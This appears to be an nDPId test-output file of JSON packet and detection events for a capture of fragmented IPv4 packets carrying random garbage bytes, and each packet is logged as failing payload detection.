+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561573,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561877,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":561974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 